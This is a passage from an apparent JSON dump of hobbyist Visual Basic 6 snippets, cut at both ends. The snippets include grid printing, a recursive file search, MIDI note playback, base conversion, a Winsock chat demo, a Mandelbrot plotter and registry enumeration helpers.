Attribute VB_Creatable = False\n Attribute VB_PredeclaredId = True\n Attribute VB_Exposed = False\nPrivate Sub Timer1_Timer()\n\n WindowSPY Text1, Text2, Text3, Text4, Text5, Text6, Text7, Text8, Text9\nEnd Sub"},{"WorldId":1,"id":1433,"LineNumber":1,"line":"Please,If you do any changes let me know as a feed back.\nIf you like to have a .OCX as an Activex Email me, free no charge\nbut no source code. \nPrivate Function PrintGd(ByVal GridToPrint As DBGrid, ByVal MyRecordset As Recordset) As Long\nDim x, v, b\nDim Putit As String\nDim Myrec\nDim MyField\nDim TCapion\nDim Mydash\n Screen.MousePointer = 11\n \n Open \"C:\\Printed.txt\" For Output As #2\n Putit = \"\"\n Mydash = \"-\"\n \n For b = 0 To GridToPrint.Columns.Count - 1\n Myrec = \"\"\n MyField = \"\"\n x = GridToPrint.Columns(b).Width\n x = x / 100\n For v = 1 To x\n Mydash = Mydash + \"-\"\n If Mid(GridToPrint.Columns(b).Caption, v, 1) = \"\" Then\n Myrec = Chr(32)\n Else\n Myrec = Mid(GridToPrint.Columns(b).Caption, v, 1)\n End If\n MyField = MyField & Myrec\n Next v\n Putit = Putit & Chr(9) & MyField\n DoEvents\n '\n Next b\n Print #2, \" No\" & Putit\n Print #2, Mydash\nClose #2\n \nDim Colcap\nDim Toprint\n\nOpen \"C:\\Printed.txt\" For Append As #1\nMyRecordset.MoveFirst\nDim Nox\nDo While Not MyRecordset.EOF\nPutit = \"\"\nNox = Nox + 1\nFor b = 0 To GridToPrint.Columns.Count - 1\nIf GridToPrint.Columns(b).Visible = True Then\n Myrec = \"\"\n MyField = \"\"\n x = GridToPrint.Columns(b).Width\n x = x / 100\n For v = 1 To x\n DoEvents\n If Mid(GridToPrint.Columns(b).Text, v, 1) = \"\" Then\n Myrec = Chr(32) 'x\n Else\n Myrec = Mid(GridToPrint.Columns(b).Text, v, 1)\n End If\n MyField = MyField & Myrec\n Next v\n DoEvents\n Putit = Putit & Chr(9) & MyField\n Else\n End If\n \n Next b\n Print #1, Format(Nox, \"@@@\") & Putit\n\nMyRecordset.MoveNext\nLoop\n \nClose #1\nMe.Refresh\nDim RetVal As Long\n RetVal = ShellExecute(Me.hwnd, _\n vbNullString, \"C:\\Printed.Txt\", vbNullString, \"c:\\\", SW_SHOWNORMAL)\nScreen.MousePointer = 0\nEnd Function\nPrivate Sub Command1_Click()\nDim x\nx = PrintGd(DBGrid1, Data1.Recordset)\nEnd Sub"},{"WorldId":1,"id":1441,"LineNumber":1,"line":"Sub validate(textboxname As TextBox)\nIf KeyAscii > Asc(9) Or KeyAscii < Asc(0) Then\nKeyAscii = 0\nEnd If\nmypos = InStr(1, textboxname.Text, \".\")\nIf mypos <> 0 Then\ntextboxname.Text = Format(textboxname.Text, \"$###,###,###,###.##\")\nElse\ntextboxname.Text = Format(textboxname.Text, \"$###,###,###,###\")\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1442,"LineNumber":1,"line":"Option Explicit\nDim st As Boolean\n***********************\nPrivate Sub DBGrid1_HeadClick(ByVal ColIndex As Integer)\n'Dbgrid Columns sort by clicking the grid header in two way ascending and descending\n If st = True Then\n DBGrid1.HoldFields\n Data1.RecordSource = \" Select * from Authors Order By \" & DBGrid1.Columns(ColIndex).DataField\n Data1.Refresh\n DBGrid1.ReBind\n Else\n DBGrid1.HoldFields\n Data1.RecordSource = \" Select * from Authors Order By \" & DBGrid1.Columns(ColIndex).DataField & \" DESC \"\n Data1.Refresh\n DBGrid1.ReBind\n End If\n st = Not st\nEnd Sub\n"},{"WorldId":1,"id":1445,"LineNumber":1,"line":"Public Sub Center(ByRef frm As Form)\n'Centers a form, relative to the available workspace\nDim rt As RECT, result As Long\nDim X As Single, Y As Single\nDim oldScaleMode As Integer\nresult = SystemParametersInfo(SPI_GETWORKAREA, 0&, rt, 0&)\nX = rt.Right - rt.Left\nY = rt.Bottom - rt.Top\nX = X * Screen.TwipsPerPixelX\nY = Y * Screen.TwipsPerPixelY\nX = X \\ 2 - (frm.Width \\ 2)\nY = Y \\ 2 - (frm.Height \\ 2)\noldScaleMode = frm.ScaleMode\nfrm.ScaleMode = vbTwips\nfrm.Move X, Y\nfrm.ScaleMode = oldScaleMode\nEnd Sub\n"},{"WorldId":1,"id":1446,"LineNumber":1,"line":"Public Function FindFile(ByVal FileName As String, ByVal Path As String) As String\nDim hFile As Long, ts As String, WFD As WIN32_FIND_DATA\nDim result As Long, sAttempt As String, szPath As String\nszPath = GetRDP(Path) & \"*.*\" & Chr$(0)\n'Note: Inline function here\n'----Starts----\nDim szPath2 As String, szFilename As String, dwBufferLen As Long, szBuffer As String, lpFilePart As String\n'Set variables\nszPath2 = Path & Chr$(0)\nszFilename = FileName & Chr$(0)\nszBuffer = String$(MAX_PATH, 0)\ndwBufferLen = Len(szBuffer)\n'Ask windows if it can find a file matching the filename you gave it.\nresult = SearchPath(szPath2, szFilename, vbNullString, dwBufferLen, szBuffer, lpFilePart)\n'----Ends----\nIf result Then\n FindFile = StripNull(szBuffer)\n Exit Function\nEnd If\n'Start asking windows for files.\nhFile = FindFirstFile(szPath, WFD)\nDo\n \n If WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then\n 'Hey look, we've got a directory!\n ts = StripNull(WFD.cFileName)\n \n If Not (ts = \".\" Or ts = \"..\") Then\n \n 'Don't look for hidden or system directories\n If Not (WFD.dwFileAttributes And (FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM)) Then\n \n 'Search directory recursively\n sAttempt = FindFile(FileName, GetRDP(Path) & ts)\n If sAttempt <> \"\" Then\n FindFile = sAttempt\n Exit Do\n End If\n \n End If\n \n End If\n End If\n WFD.cFileName = \"\"\n result = FindNextFile(hFile, WFD)\nLoop Until result = 0\nFindClose hFile\nEnd Function\nPublic Function StripNull(ByVal WhatStr As String) As String\n Dim pos As Integer\n pos = InStr(WhatStr, Chr$(0))\n If pos > 0 Then\n StripNull = Left$(WhatStr, pos - 1)\n Else\n StripNull = WhatStr\n End If\nEnd Function\nPublic Function GetRDP(ByVal sPath As String) As String\n'Adds a backslash on the end of a path, if required.\n If sPath = \"\" Then Exit Function\n If Right$(sPath, 1) = \"\\\" Then GetRDP = sPath: Exit Function\n GetRDP = sPath & \"\\\"\nEnd Function\n"},{"WorldId":1,"id":1469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1473,"LineNumber":1,"line":"' Place a Textbox (Text1) and a Command Button (Command1)\n' on the Form\n' The following code should be placed in Form1:\n' This code gives the Visual Basic equivalent of the QBasic\n' PLAY command. A few extra options have been added (such as\n' playing several notes simultaneously).\n' I have found it difficult to stop the notes after playing them\n' You can try this out by using the MN switch.\n' If anyone knows how to do this, please E-Mail me at\n' aidanx@yahoo.com\n\n' Constants\nPrivate Const Style_Normal = 0\nPrivate Const Style_Staccato = 1\nPrivate Const Style_Legato = 2\nPrivate Const Style_Sustained = 3\nPrivate Const PlayState_Disable = 0\nPrivate Const PlayState_Enable = 1\nPrivate Const PlayState_Auto = -1\n' Types\nPrivate Type Note\n Pitch As Long\n Length As Integer\n Volume As Long\n Style As Integer\nEnd Type\n' Variables\nPrivate MIDIDevice As Long\n\nPrivate Sub Command1_Click()\n ' The notes in the text box are played when the button\n ' is pressed\n Play Text1.Text\nEnd Sub\nPrivate Sub Form_Load()\n Text1.Text = \"cdecdefgafga\"\n Play \"MDO3cdefgabO4c\"\nEnd Sub\n\nPublic Sub Play(Notes As String)\n ' Plays a note(s) using MIDI\n ' E.g. Play \"T96O3L4cd.efgabO4cL8defgabO5c\"\n \n ' Note Letter - Plays Note (C is lowest in an octave, B is highest)\n ' L + NoteLength (4 = Crotchet, 2 = Minim, etc., \n\t' 0 = Play Simultaneously)\n ' N + Note Number (37 = Mid C, 38 = C#, etc.)\n ' O + Octave No. (3 = Middle - i.e. O3C = Mid. C)\n ' P + Length (Pause of Length - See \"L\" - \n\t' Without a Number = Current Note Length)\n ' T + Tempo (Crotchet Beats per Minute)\n ' V + VolumeConstant (F = Forte, O = Mezzo-Forte, \n\t' I = MezzoPiano, P = Piano)\n ' M + Music Style Constant (S = Staccato, N = Normal, \n\t' L = Legato, D = Sustained)\n ' Only the Sustained style appears to function \n\t' correctly as the time taken to stop a midi note \n\t' is not negligible\n ' If ommitted, uses last set option\n \n Dim CurrentNote As Long, PauseNoteLength\n Dim i As Long, LenStr As String\n Dim Note(6) As Integer, Sharp As Integer\n Dim NoteCaps As String, NoteASCII As Integer, _\nPlayLength As Double\n Dim PlayNote() As Note\n \n Static NotFirstRun As Boolean ' Set to True if\n\t' it is not the first time Play has been called\n Static Octave As Integer, Tempo As Integer, _\nCurrentNoteLength As Integer, CurrentVolume As Integer, _\nMusicStyle As Integer\n \n ' Enable MIDI\n If Not EnablePlay(PlayState_Enable) Then Exit Sub\n If Not NotFirstRun Then\n NotFirstRun = True\n Octave = 3\n Tempo = 120\n CurrentVolume = 96\n CurrentNoteLength = 4\n MusicStyle = Style_Sustained\n End If\n ' Notes\n Note(0) = 9 ' A\n Note(1) = 11 ' B\n Note(2) = 0 ' C\n Note(3) = 2 ' D\n Note(4) = 4 ' E\n Note(5) = 5 ' F\n Note(6) = 7 ' G\n ' End Notes\n NoteCaps = UCase$(Notes)\n CurrentNote = -1\n i = 0\n Do Until i = Len(NoteCaps)\n i = i + 1\n NoteASCII = Asc(Mid$(NoteCaps, i, 1))\n If Chr$(NoteASCII) = \"N\" Then\n ' Play Note by Number\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n CurrentNote = CurrentNote + 1\n ReDim Preserve PlayNote(CurrentNote)\n If Val(LenStr) <> 0 Then\n PlayNote(CurrentNote).Pitch = Val(LenStr) + 23\n Else\n PlayNote(CurrentNote).Pitch = -1\n End If\n PlayNote(CurrentNote).Length = CurrentNoteLength\n PlayNote(CurrentNote).Volume = CurrentVolume\n PlayNote(CurrentNote).Style = MusicStyle\n End If\n End If\n If NoteASCII >= 0 Then\n If Chr$(NoteASCII) = \"T\" Then\n ' Set Tempo\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n Tempo = Val(LenStr)\n End If\n End If\n \n If Chr$(NoteASCII) = \".\" And CurrentNote >= 0 Then\n ' Make last note length 3/2 times as long\n PlayNote(CurrentNote).Length = _\nPlayNote(CurrentNote).Length / 1.5\n End If\n \n If Chr$(NoteASCII) = \"P\" Then\n ' Pause\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\nVal(Mid$(NoteCaps, i + 1, 1)) = 0\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n NoteASCII = -1\n If LenStr <> \"\" Then\n PauseNoteLength = Val(LenStr)\n Else\n PauseNoteLength = CurrentNoteLength\n End If\n End If\n \n If Chr$(NoteASCII) = \"L\" Then\n ' Set Length\n LenStr = \"\"\n Do Until i = Len(NoteCaps) Or _\n(Val(Mid$(NoteCaps, i + 1, 1)) = 0 And _\nMid$(NoteCaps, i + 1, 1) <> \"0\")\n LenStr = LenStr + Mid$(NoteCaps, i + 1, 1)\n i = i + 1\n Loop\n If LenStr <> \"\" Then\n CurrentNoteLength = Val(LenStr)\n End If\n End If\n \n If Chr$(NoteASCII) = \"O\" Then\n ' Set Octave\n If i < Len(NoteCaps) Then\n NoteASCII = Asc(Mid$(NoteCaps, i + 1, 1))\n If NoteASCII > 47 And NoteASCII < 55 Then\n Octave = NoteASCII - 48\n i = i + 1\n End If\n End If\n End If\n End If\n If (NoteASCII > 64 And NoteASCII < 73) Or NoteASCII = -1 Then\n ' Select Note\n Sharp = 0\n If NoteASCII <> -1 Then\n If i < Len(NoteCaps) Then\n If Mid$(NoteCaps, i + 1, 1) = \"#\" Or _\nMid$(NoteCaps, i + 1, 1) = \"+\" Then\n i = i + 1\n Sharp = 1\n ElseIf Mid$(NoteCaps, i + 1, 1) = \"-\" Then\n i = i + 1\n Sharp = -1\n End If\n End If\n End If\n CurrentNote = CurrentNote + 1\n ReDim Preserve PlayNote(CurrentNote)\n If NoteASCII <> -1 Then\n PlayNote(CurrentNote).Pitch = (Octave * 12) + _\nNote(NoteASCII - 65) + Sharp + 24\n PlayNote(CurrentNote).Length = CurrentNoteLength\n Else\n PlayNote(CurrentNote).Pitch = -1\n PlayNote(CurrentNote).Length = PauseNoteLength\n End If\n PlayNote(CurrentNote).Volume = CurrentVolume\n PlayNote(CurrentNote).Style = MusicStyle\n End If\n If NoteASCII > -1 Then\n If Chr$(NoteASCII) = \"V\" Then\n ' Set Volume\n If i < Len(NoteCaps) Then\n i = i + 1\n Select Case Mid$(NoteCaps, i, 1)\n Case \"F\" ' Forte\n CurrentVolume = 127\n Case \"O\" ' Mezzo-Forte\n CurrentVolume = 96\n Case \"I\" ' Mezzo-Piano\n CurrentVolume = 65\n Case \"P\" ' Piano\n CurrentVolume = 34\n Case Else\n i = i - 1\n End Select\n End If\n End If\n If Chr$(NoteASCII) = \"M\" Then\n ' Set Music Style\n If i < Len(NoteCaps) Then\n i = i + 1\n Select Case Mid$(NoteCaps, i, 1)\n Case \"S\" ' Staccato\n MusicStyle = Style_Staccato\n Case \"N\" ' Normal\n MusicStyle = Style_Normal\n Case \"L\" ' Legato\n MusicStyle = Style_Legato\n Case \"D\" ' Sustained\n MusicStyle = Style_Sustained\n Case Else\n i = i - 1\n End Select\n End If\n End If\n End If\n Loop\n ' Play Notes\n For i = 0 To CurrentNote\n ' Send Note\n If PlayNote(i).Pitch <> -1 Then SendMidiOut 144, _\nPlayNote(i).Pitch, PlayNote(i).Volume\n ' Wait until next note should be played\n If i < CurrentNote Then\n PlayLength = ((((60 / Tempo) * 4) * (1 / _\nPlayNote(i).Length)) * 1000)\n If PlayNote(i).Length > 0 Then\n Select Case PlayNote(i).Style\n Case Style_Sustained\n ' Play the full note value and don't stop it\n\t\t ' afterwards\n SleepAPI Int(PlayLength + 0.5)\n Case Style_Normal\n ' Play 7/8 of the note value\n SleepAPI Int(PlayLength * (7 / 8) + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI Int((PlayLength * (1 / 8)) + 0.5)\n Case Style_Legato\n ' Play the full note value\n SleepAPI Int(PlayLength + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI 1\n Case Style_Staccato\n ' Play half the note value and pause for \n\t\t ' the remainder\n SleepAPI Int(PlayLength * (1 / 2) + 0.5)\n Call midiOutReset(MIDIDevice)\n SleepAPI Int((PlayLength * (1 / 2)) + 0.5)\n End Select\n End If\n End If\n DoEvents\n Next i\n SleepAPI 1 ' This must be done in order for the last \n\t\t ' note to be played\n ' Disable MIDI\n Call EnablePlay(PlayState_Disable)\nEnd Sub\nPrivate Function EnablePlay(Enable As Integer) As Boolean\n ' Enables/Disables MIDI Playing\n ' Enable = PlayState_?\n Dim MIDIOut As Long, ReturnValue As Long\n Static MIDIEnabled As Boolean\n \n If (Enable <> PlayState_Disable) And MIDIEnabled = False Then\n ' Enable MIDI\n ReturnValue = midiOutOpen(MIDIOut, -1, 0&, 0&, 0&)\n If ReturnValue = 0 Then\n MIDIEnabled = True\n EnablePlay = True\n MIDIDevice = MIDIOut\n Else\n EnablePlay = False\n End If\n ElseIf (Enable <> PlayState_Enable) And MIDIEnabled = True Then\n ' Disable MIDI\n ReturnValue = midiOutClose(MIDIDevice)\n If ReturnValue = 0 Then\n MIDIEnabled = False\n EnablePlay = True\n Else\n EnablePlay = False\n End If\n End If\nEnd Function\nPrivate Sub SendMidiOut(MidiEventOut As Long, MidiNoteOut As Long,_\nMidiVelOut As Long)\n ' Sends the Note to the MIDI Device\n Dim LowInt As Long, VelOut As Long, HighInt As Long,_\nMIDIMessage As Long\n Dim ReturnValue As Long\n LowInt = (MidiNoteOut * 256) + MidiEventOut\n VelOut = MidiVelOut * 256\n HighInt = VelOut * 256\n MIDIMessage = LowInt + HighInt\n ReturnValue = midiOutShortMsg(MIDIDevice, MIDIMessage)\nEnd Sub\n"},{"WorldId":1,"id":1474,"LineNumber":1,"line":"' Place the following code in a form...\nPrivate Sub Form_Load()\n Debug.Print ConvertBase(\"10\", 10, 16)\nEnd Sub\nPublic Function ConvertBase(NumIn As String, BaseIn As Integer,_\nBaseOut As Integer) As String\n ' Converts a number from one base to another\n ' E.g. Binary = Base 2\n ' Octal = Base 8\n ' Decimal = Base 10\n ' Hexadecimal = Base 16\n ' NumIn is the number which you wish to convert \n\t' (A string including characters 0 - 9, A - Z)\n ' BaseIn is the base of NumIn (An integer value in\n\t' decimal between 1 & 36)\n ' BaseOut is the base of the number the function\n\t' returns (An integer value in decimal between 1 & 36)\n ' Returns a string in the desired base containing the\n\t' characters 0 - 9, A - Z)\n \n ' e.g. Debug.Print ConvertBase (\"42\", 8, 16) converts the octal number 42 into hexadecimal\n ' Returns the string \"22\"\n ' Returns the word \"Error\" if any of the input values\n\t' are incorrect\n \n Dim i As Integer, CurrentCharacter As String,_\nCharacterValue As Integer, PlaceValue As Integer,_\nRunningTotal As Double, Remainder As Double,_\nBaseOutDouble As Double, NumInCaps As String\n \n ' Ensure input data is valid\n \n If NumIn = \"\" Or BaseIn < 2 Or BaseIn > 36 Or_\nBaseOut < 1 Or BaseOut > 36 Then\n ConvertBase = \"Error\"\n Exit Function\n End If\n \n ' Ensure any letters in the input mumber are capitals\n NumInCaps = UCase$(NumIn)\n \n ' Convert NumInCaps into Decimal\n PlaceValue = Len(NumInCaps)\n For i = 1 To Len(NumInCaps)\n PlaceValue = PlaceValue - 1\n CurrentCharacter = Mid$(NumInCaps, i, 1)\n CharacterValue = 0\n If Asc(CurrentCharacter) > 64 And _\nAsc(CurrentCharacter) < 91 Then _\nCharacterValue = Asc(CurrentCharacter) - 55\n If CharacterValue = 0 Then\n ' Ensure NumIn is correct\n If Asc(CurrentCharacter) < 48 Or _\nAsc(CurrentCharacter) > 57 Then\n ConvertBase = \"Error\"\n Exit Function\n Else\n CharacterValue = Val(CurrentCharacter)\n End If\n End If\n If CharacterValue < 0 Or CharacterValue > BaseIn - 1 Then\n ' Ensure NumIn is correct\n ConvertBase = \"Error\"\n Exit Function\n End If\n RunningTotal = RunningTotal + CharacterValue *_\n(BaseIn ^ PlaceValue)\n Next i\n \n ' Convert Decimal Number into the desired base using\n\t' Repeated Division\n \n Do\n BaseOutDouble = CDbl(BaseOut)\n Remainder = ModDouble(RunningTotal, BaseOutDouble)\n RunningTotal = (RunningTotal - Remainder) / BaseOut\n If Remainder >= 10 Then\n CurrentCharacter = Chr$(Remainder + 55)\n Else\n CurrentCharacter = Right$(Str$(Remainder),_\nLen(Str$(Remainder)) - 1)\n End If\n ConvertBase = CurrentCharacter & ConvertBase\n Loop While RunningTotal > 0\n \nEnd Function\nPublic Function ModDouble(NumIn As Double, DivNum As Double) As Double\n ' Returns the Remainder when a number is divided by another\n ' (Works for double data-type)\n ModDouble = NumIn - (Int(NumIn / DivNum) * DivNum)\nEnd Function\n"},{"WorldId":1,"id":1481,"LineNumber":1,"line":"'Open a project Exe. Put a winsock, and two textbox control ,named text2 and 'text3. Paste this code in it.\nPrivate Sub Form_Load()\nWith Winsock1\n.RemoteHost = \"your machine IP\" 'put your or someone else's IP here\n.RemotePort = 1001\n.Bind 1002\nEnd With\nchat1.Show\nEnd Sub\nPrivate Sub Text3_Change()\nWinsock1.SendData Text3.Text\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim strData As String\nWinsock1.GetData strData\nText2.Text = strData\nEnd Sub\n'********************************************************************\n'paste code below into another form having 2 text boxes and winsock \n'control in the SAME project\n'********************************************************************\nPrivate Sub Form_Load()\nWith Winsock1\n.RemoteHost = \"your machine IP\" 'put your or someone else's IP here\n.RemotePort = 1002\n.Bind 1001\nEnd With\nEnd Sub\nPrivate Sub Text3_Change()\nWinsock1.SendData Text3.Text\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim strData As String\nWinsock1.GetData strData\nText2.Text = strData\nEnd Sub\n\n\n"},{"WorldId":1,"id":1486,"LineNumber":1,"line":"'Copy and Paste the following below this in the Form. NOT THE MODULE/BAS!!!!\n'Ok, here it is, start Copying:\nPrivate Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\nPrivate Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\n"},{"WorldId":1,"id":1494,"LineNumber":1,"line":"' Put this into Sub Main in a module\n' Disable/Enable CTRL+ALT+DEL\n'***************************************************************\n' Name: Dissable / Enable CTRL + ALT + DEL\n' Description:Dissable / Enable CTRL + ALT + DEL , This does just\n' what it says, it disables a used from pressing CTRL+ALT+DEL. Well\n' not dissables them from doing it, it just wont do anything if the\n' y do. :o)This is useful in setup programs when it is important th\n' ea a user not end task your program.\n' By: Cy Toad\n'\n'\n' Inputs:'Example of use:\n' Call Disable_Ctrl_Alt_Del()\n'Then at another time:\n' Call Enable_Ctrl_Alt_Del()\n'\n' Returns:Dissables / Enables CTRL + ALT + DEL You wont be able t\n' o use CTRL + ALT + DEL until you Enable it again, or restart your\n' system.\n'\n'Assumes:None\n'\n'Side Effects:You wont be able to use CTRL + ALT + DEL until you\n' Enable it again, or restart your system.\n'\n'Code provided by Planet Source Code(tm) (http://www.PlanetSource\n' Code.com) 'as is', without warranties as to performance, fitness,\n' merchantability,and any other warranty (whether expressed or impl\n' ied).\n'***************************************************************\n Dim X\n X = MsgBox(\"Do you wish to disable CTRL+ALT+DEL?\", 36, \"Disable/Enable CTRL+ALT+DEL\")\n If X = vbYes Then\n Disable_Ctrl_Alt_Del\n MsgBox \"CTRL+ALT+DEL is disabled, try pressing CTRL+ALT+DEL now.\", , \"Disable/Enable CTRL+ALT+DEL\"\nAgain:\n X = MsgBox(\"Enbale CTRL+ALT+DEL now?\", 36, \"Disable/Enable CTRL+ALT+DEL\")\n If X = vbYes Then\n Enable_Ctrl_Alt_Del\n ElseIf X = vbNo Then\n MsgBox \"The program will not end before CTRL+ALT+DEL is enabled.\", , \"Disable/Enable CTRL+ALT+DEL\"\n GoTo Again\n End If\n End If"},{"WorldId":1,"id":1501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1512,"LineNumber":1,"line":"'Put this in a command button or any control you want\npicture1.ForeColor = RGB(0, 0, 255) 'blue bar but you can change it\nFor i = 0 To 100 Step 2\nprecentworm picture1, i\nNext\npicture.Cls"},{"WorldId":1,"id":1517,"LineNumber":1,"line":"Private Sub Form_Click()\n 'These four constants define the rectangular region\n 'of the complex plain that will be iterated.\n 'Change the values to zoom in/out.\n Const ComplexPlain_X1 As Currency = -2\n Const ComplexPlain_Y1 As Currency = 2\n Const ComplexPlain_X2 As Currency = 2\n Const ComplexPlain_Y2 As Currency = -2\n \n 'These two variables are used to store the\n 'ScaleWidth and ScaleHeight values,for\n 'faster access.\n Dim ScreenWidth As Integer\n Dim ScreenHeight As Integer\n \n 'These two variables reflect the X and Y\n 'intervals of the loop that moves from\n '(ComplexPlain_X1,ComplexPlain_Y1) to\n '(ComplexPlain_X2,ComplexPlain_Y2) in\n 'the complex plain.\n Dim StepX As Currency\n Dim StepY As Currency\n \n 'These two are used in the main loop.\n Dim X As Currency\n Dim Y As Currency\n \n 'Cx and Cy are the real and imaginary part\n 'respectively of C,in the function\n ' Zv=Zv-1^2 + C\n Dim Cx As Currency\n Dim Cy As Currency\n \n 'Zx and Zy are the real and imaginary part\n 'respectively of Z,in the function\n ' Zv=Zv-1^2 + C\n Dim Zx As Currency\n Dim Zy As Currency\n \n 'This byte variable is assigned a number\n 'for each pixel in the form.\n Dim Color As Byte\n \n 'Used in the function that we iterate.\n Dim TempX As Currency\n Dim TempY As Currency\n \n ScreenWidth = Me.ScaleWidth\n ScreenHeight = Me.ScaleHeight\n \n 'Calculate the intervals of the loop.\n StepX = Abs(ComplexPlain_X2 - ComplexPlain_X1) / ScreenWidth\n StepY = Abs(ComplexPlain_Y2 - ComplexPlain_Y1) / ScreenHeight\n \n 'Clear the form.\n Cls\n \n Plotting = True\n \n For X = 0 To ScreenWidth\n For Y = 0 To ScreenHeight\n \n Cx = ComplexPlain_X1 + X * StepX\n Cy = ComplexPlain_Y2 + Y * StepY\n Zx = 0\n Zy = 0\n Color = 0\n \n 'If you want more fancy fractals,change the\n '255 to a higher number,but know that the\n 'higher you make it,the longer it takes\n 'for the fractal to be plotted.\n While (Not (Zx * Zx + Zy * Zy > 4)) And Color < 255 And Plotting\n TempX = Zx\n TempY = Zy\n Zx = TempX * TempX - TempY * TempY + Cx\n Zy = 2 * TempX * TempY + Cy\n Color = Color + 1\n Wend\n \n If Not Plotting Then Exit Sub\n \n 'You can change Color*100 to something else\n 'in order to get other color schemes in the\n 'fractal.The function you aply must always\n 'return a value in the range (0 to 16777215)\n SetPixel Me.hdc, X, Y, Color * 100\n \n Next\n Me.Refresh\n DoEvents\n Next\n Plotting = False\nEnd Sub\nPrivate Sub Form_Load()\n \n Me.AutoRedraw = True\n Me.ScaleMode = 3\n Me.Caption = \"The Mandelbrot Set\"\n \n MsgBox \"Resize the form and click on it to get the fractal.\" & vbCrLf & _\n \"Keep in mind that large fractals take longer to appear.\", vbInformation, \"The Mandelbrot Set\"\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n \n Plotting = False\nEnd Sub"},{"WorldId":1,"id":1518,"LineNumber":1,"line":"'put in form_load\nretvalue = GetSetting(\"A\", \"0\", \"Runcount\")\nWorm$ = Val(retvalue) + 1\nSaveSetting \"A\", \"0\", \"RunCount\", Worm$\nIf Worm$ > 99 Then 'put one number lower then it says....you can only run the program 200 times.\nMsgBox \"This is the end of the trial run\",16,\"Sorry\"\nUnload me\nEnd If"},{"WorldId":1,"id":1522,"LineNumber":1,"line":"'***Add a timer (timer1) to your form... paste the code below to the global declarations!\n'***Set the timer interval to 250\nPrivate Declare Function FlashWindow Lib \"user32\" (ByVal hwnd As Long, ByVal bInvert As Long) As Long\nPrivate Sub Timer1_Timer()\n Call FlashWindow(Form1.hwnd, True)\nEnd Sub"},{"WorldId":1,"id":1524,"LineNumber":1,"line":"'This function will return a array of variant with all the subkey values\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllSubDirectories() As Variant\nOn Error GoTo handelgetdirvalues\n Dim SubKey_Num As Integer\n Dim SubKey_Name As String\n Dim Length As Long\n Dim ReturnArray() As Variant\n \n If Not OpenRegOk Then Exit Function\n 'Get the Dir List\n SubKey_Num = 0\n Do\n Length = 256\n SubKey_Name = Space$(Length)\n If RegEnumKey(HKey, SubKey_Num, SubKey_Name, Length) <> 0 Then\n Exit Do\n End If\n SubKey_Name = Left$(SubKey_Name, InStr(SubKey_Name, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(SubKey_Num) As Variant\n ReturnArray(SubKey_Num) = SubKey_Name\n SubKey_Num = SubKey_Num + 1\n Loop\n GetAllSubDirectories = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllSubDirectories = Null\n Exit Function\nEnd Function\n'This function will return a array of variant with all the value names in a key\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllValues\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllValues() As Variant\nOn Error GoTo handelgetdirvalues\n Dim lpData As String, KeyType As Long\n Dim BufferLengh As Long, vname As String, vnamel As Long\n Dim ReturnArray() As Variant, Index As Integer\n \n If Not OpenRegOk Then Exit Function\n \n 'Get the Values List\n Index = 0\n Do\n lpData = String(250, \" \")\n BufferLengh = 240\n vname = String(250, \" \")\n vnamel = 240\n If RegEnumValue(ByVal HKey, ByVal Index, vname, vnamel, 0, KeyType, lpData, BufferLengh) <> 0 Then\n Exit Do\n End If\n vname = Left$(vname, InStr(vname, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(Index) As Variant\n ReturnArray(Index) = vname\n Index = Index + 1\n Loop\n GetAllValues = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllValues = Null\n Exit Function\nEnd Function\n'This function will return a specific value from the registry\n'eg.\n' Dim MyString As String, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyString = MyReg.GetValue(\"Identifier\")\n' Debug.Print MyString\n' MyReg.CloseRegistry\nFunction GetValue(ByVal VarName As String) As String\nOn Error GoTo handelgetavalue\n Dim i As Integer\n Dim SubKey_Value As String, 